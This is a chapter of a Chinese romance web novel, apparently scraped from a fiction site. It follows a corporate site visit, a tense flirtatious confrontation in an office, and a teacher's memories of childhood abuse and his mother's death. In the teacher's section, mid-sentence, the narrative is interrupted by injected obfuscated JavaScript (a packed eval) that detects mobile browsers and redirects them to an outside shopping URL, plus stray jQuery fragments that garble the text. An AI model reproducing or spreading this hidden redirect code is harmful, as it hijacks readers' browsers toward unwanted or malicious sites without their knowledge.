文趣网 > 其他小说 > 三重失陷 > 33. Chapter 33
    今天,关盟迫切地需要一盒金嗓子。

    他先是给活蹦乱跳叽叽喳喳的学生们讲解了一遍物流中心的基本运营,紧接着又迎来了蔺江资本的人。

    解说这种事情不然不会让集团总裁来做,毫无疑问,任务又落在了他的脑袋上。

    “如您所见,这巨大的数字大屏上实时跳动着入库量、出库量、库存周转天数……”

    “在自动化立体库区域上,我们中心……”

    “咳咳咳……”

    关盟压制不住喉下的痒意,侧过身咳嗽起来。

    属下赶忙递给他一瓶水。

    “关负责人,你说的这些,已经在资料上写清了。”

    蔺子濯打断了对方:“此次,蔺江资本来着重考察的只在四点。第一,资产是否真实。第二,技术是否有效。第三,团队是否具有凝聚力。第四,边际成本的扩张效用。”

    “只用说说这些就可以了。”

    “好。”关盟点头应下。

    颜相初身后跟着数十名颜氏集团员工,而蔺子濯的身后同样是稀稀拉拉的一长队。两队人从控制室走到库区,前前后后走了进一个小时。

    仓库中运转的新风系统不停轰鸣,颜相初在嘈杂声响中看着关盟一张一合的嘴,有些走神。

    易修珩的语气就像是两人从不相识,理应这样。但是,既然他打了主意要一刀两断,又为什么要哑着嗓子让她分心。

    颜相初想着,面上闪过一丝不快。

    “颜总,我想问,未来三年颜氏集团在物流中心的资本开支计划,是什么?或者说,你们现在的估值依据是什么?”

    蔺子濯问出的问题虽然显得咄咄逼人,却又在情理之中。

    颜相初瞧了对方一眼,听出了话中的刁难之意:“蔺部长,我们理解蔺江的考量。有关数据资料,会由关负责人……”

    “不能由颜总来说明吗?”蔺子濯提起一个疑惑的笑,眼中却闪过狡黠。

    办公室内,给学生分发的汽车模型还剩下不少,正乱七八糟地堆在角落。

    颜相初和蔺子濯各自坐在沙发的一端,中间还隔着些距离。

    “针对蔺部长提出的估值依据,首先是硬资产。除却这个物流中心外,颜氏集团在南华和西黍同样有两个物流枢纽。过去三年……”

    “你们分开了。”

    蔺子濯突然问道。

    颜相初看了他一眼,懒得回应,她接着刚才的说道:“过去三年,息税折旧摊销前利润的复合增长率是……”

    “就算你不说这些,我也会签的。”

    “那你还问我干什么?”

    “因为,你刚才明显心不在焉。”

    蔺子濯穿西装从来都是一副随心所欲的样子,他敞着领口斜倚在沙发靠背上,露出了半个胸膛。

    颜相初紧皱着眉,不明白这个人为什么总是这样放浪。

    “不能好好穿衣服吗?”

    “怎么,让你苦恼了?”蔺子濯扬起眼尾,怡然自得。

    “不,是伤风败俗。”她极快否认道。

    “他跟你,不过是肉|体关系,炮|友罢了。你就这么放不下他一个吗?”

    颜相初气愤地截住了他的话头:“你凭什么置喙我的私事?”

    蔺子濯顿时熄了声音,他沉默看着,用力绷紧了自己的表情,眼睑还是不受控地颤了两下。

    “你喜欢这种关系?那我呢,我做你的小三好不好?”

    “你说我伤风败俗,那你看看更伤风败俗的。”

    奇怪的视线始终盯着颜相初,蔺子濯又解开了两颗扣子。

    颜相初眼皮一跳,越过沙发前的茶几合上了窗叶:“你有什么毛病?你是来谈生意的吗?”

    她压低了声音训斥。

    “你不是放不下他吗?你不要我做你的丈夫,你不想和我结婚。那我做你的小三,怎么样?”

    “我让你看看,你的炮|友和小三到底谁更强一点。”

    蔺子濯笑笑。

    庄重严肃的西装太过合他的身,反而变了味道。又或许是因为穿在了他的身上,才多了那份欲说还休的勾|引。

    蔺子濯站起来,走到颜相初面前,俯身问着:“满意吗?”

    见对方不做回应,他得寸进尺,重复道:“满意吗?”

    窗叶遮住了光线,密闭空间内全是他的灼热气息。颜相初甚至闻见了一种清淡的木质香。

    他靠得很近,说出的话也是荒谬放浪,但他没有再做其他的。

    比起疯子,眼前这个蔺子濯,更像是一个想要糖果的孩子。他想要得到一份感情。

    颜相初敛下视线,更多的是无可奈何。她给不了这份感情,也甩不掉这个人。

    “蔺少爷一向嚣张跋扈目中无人。你现在这个浪样子,别人知道吗?”

    她出言讽刺着蔺子濯,想着再狠一些,再伤了他的自尊,这种不可一世的豪门子弟,自然会气急败坏。

    可两人之间,已经不能再近了。

    在颜相初开口的瞬间,蔺子濯轻轻舔了一下自己的唇,在她的瞳孔里深深望了一眼。

    “当然……不知道……”

    他停留在她的耳边,尾音的笑声多了呜咽:“我有多浪,只会有你知道。哈哈……”

    关盟站在办公室外,与蔺子濯的总助傅理全大眼瞪小眼。他进也不是,走也不是,只好双手紧握着放在身前,像个门神似的干站着。

    颜总和蔺江资本蔺子濯的婚讯他是看见了的,可今日见到二人同时出现,氛围奇怪。他又觉得媒体新闻不太属实。

    难道这是在工作场合两人特意营造的假象?

    他乱七八糟地想着,身侧突然冲出一阵风。

    颜相初夺门而出,可怜的门在撞在墙上,发出沉重的声音。

    “蔺江资本没有问题了,你盯着,把协议签了。”

    一番话被甩在了颜相初身后,关盟看着老板的背影,连忙应道:“好的颜总!”

    “给,签好了。”

    身后递来一份文件,关盟转头,正好撞进一双狐狸眼深处。

    “好的蔺部长。”

    关盟的视线缓慢移动,蔺部长的脸上似乎有个巴掌印。

    “辛苦了。”

    蔺子濯心情很好,他轻飘飘留下一句话,扬长而去。

    站在一边的傅理全微微颔首,紧跟上蔺子濯。

    蔺子濯坐进跑车。他的舌尖抵住颊肉,眼神反而亮了起来,是在回味。

    对着颜相初,他摸爬滚打出了一套绝世仅有的招数。

    她生着气打在自己脸上的巴掌,力道不大刚刚好。这也得归功于他没脸,但凡是个爱面子的人也不能任人抽两次嘴巴还这么回味无穷。

    蔺子濯摸摸自己的脸,不由自主地笑了起来。

    跑车轰鸣一声,他从兜中摸出手机,打下几个字。

    【周末我去御湖境接你,我们一起回颜家别墅。】

    *

    易修珩跟着大巴回了学校。

    兴高采烈的学生们一路喋喋不休,他被吵得头痛欲裂。一到办公室,易修珩坐在位置上开始控制不住地咳嗽。

    此时近乎是午饭时间,办公室内没什么老师。

    剧烈的咳嗽无法控制,他佝偻着身子咳,越咳越难受。

    易修珩想起了他们的对话。真好,就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673676|202301||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    像是从不认识,从没有发生过任何关系。

    他喘着气摸上水杯,灌进嗓子眼的冷水直冲而下,呛得再次咳嗽起来。

    “咳咳咳……”

    “易老师?易老师是感冒了?”

    中年老师走进办公室,关心着问道。

    “没……咳咳咳……没事……”

    易修珩连忙摆摆手,声音断断续续。

    “唉!易老师,按理说除了教学之外的事情都不应该任课老师插手,更别说你还带着一个年级的课!”

    对方的声音有些感叹:“照顾好自己的身体啊!别老吃外面的饭了!我最近总看你去校门口那家店吃,这哪能吃好呢!自己回家做点也比外面吃这些好啊!”

    易修珩说不出话来,他捏着嗓子,勉强直起身。

    “易老师,我就下班了。你也早点回!要是生病了,就买点药。”

    办公室内再次寂静下来,可易修珩已经被呛得双眼发红。他慌乱地摸出一张纸,遮住了眼睛。

    遮住了的,就是不存在的。

    易修珩一直在奢望一些没有的东西。

    小时候,他奢望的是遥不可及的父爱。父爱却从来没有降临,落在他身上的,只有一下又一下的发了狠的毒打。

    母亲护住了他,一部分毒打便转移到了一个瘦弱的女人身上。

    至今为止,易修珩都记得那样的力气打在单薄身躯上传出的是怎样的声音,咬着牙发出的痛苦闷哼又是怎样的沉重和刺耳。

    幸运的是,那个男人欠下了债,跑了。

    不幸的是,他的母亲死了。

    “小珩!小珩!离开吧!走得远远的!别让那些催债的找到你!”

    病入膏肓的母亲形如枯槁,凹陷的面颊上只剩下了一张皮,再看不出来她只是个三十几岁的女人。

    小小的他什么都做不了,只是在懦弱的哭着,不停地啜泣,直到他哭得头脑昏乱,呼吸不稳。

    “妈妈爱你,小珩,快走吧!晚些他们又来了!”

    “快走!快走!”

    “快跑!”

    急切的声音不断催促着易修珩,即便他已经跑出去很远,耳畔却依旧有回声在震。

    跑到天昏地暗,跑得脱力摔倒,易修珩在树林中躲了两天。

    他不知道,在他跑出那间充满暴力和痛苦的房屋后,母亲的手已经垂下了。

    又是两天,等到易修珩拖着身体找回家门口,看见的只有一条警戒线。

    “死了……死了!哎呦苦命的女人!”

    “她那个天杀的男人才是最该死的!这是什么世道!”

    男人和女人一齐发出了不平的慨叹。

    好讽刺,明明他们才是在旁观中最起劲的人。

    “人家的家务事你好管不啦!”

    “哪个孩子不挨打呀!哪个女人不挨老公的打!”

    “你看看那女人的样子!哪像个好好过日子的!”

    ……

    小小的他摔倒在家门之外,泥泞溅了一身。

    人群注意到他,又是一阵齐齐的惊呼。

    “哎呦!这不是她家的孩子!”

    易修珩慌慌张张地重新爬了起来,疯狂地向着没有声音的地方跑去。

    那些嘈杂的人声宛若鬼魅一样追在他的身后,流淌而下的眼泪混合着鼻涕堵塞了他的呼吸,他在剧烈的颠簸中呼哧气喘。

    “妈妈——妈妈!”

    小小的他蜷缩在街道的角落,疑惑的路人不停经过,却没有人为他停下。

    办公室中死寂一片,易修珩将脸埋在臂弯中,泪水无声流淌。

    他想要的,从来没有得到过。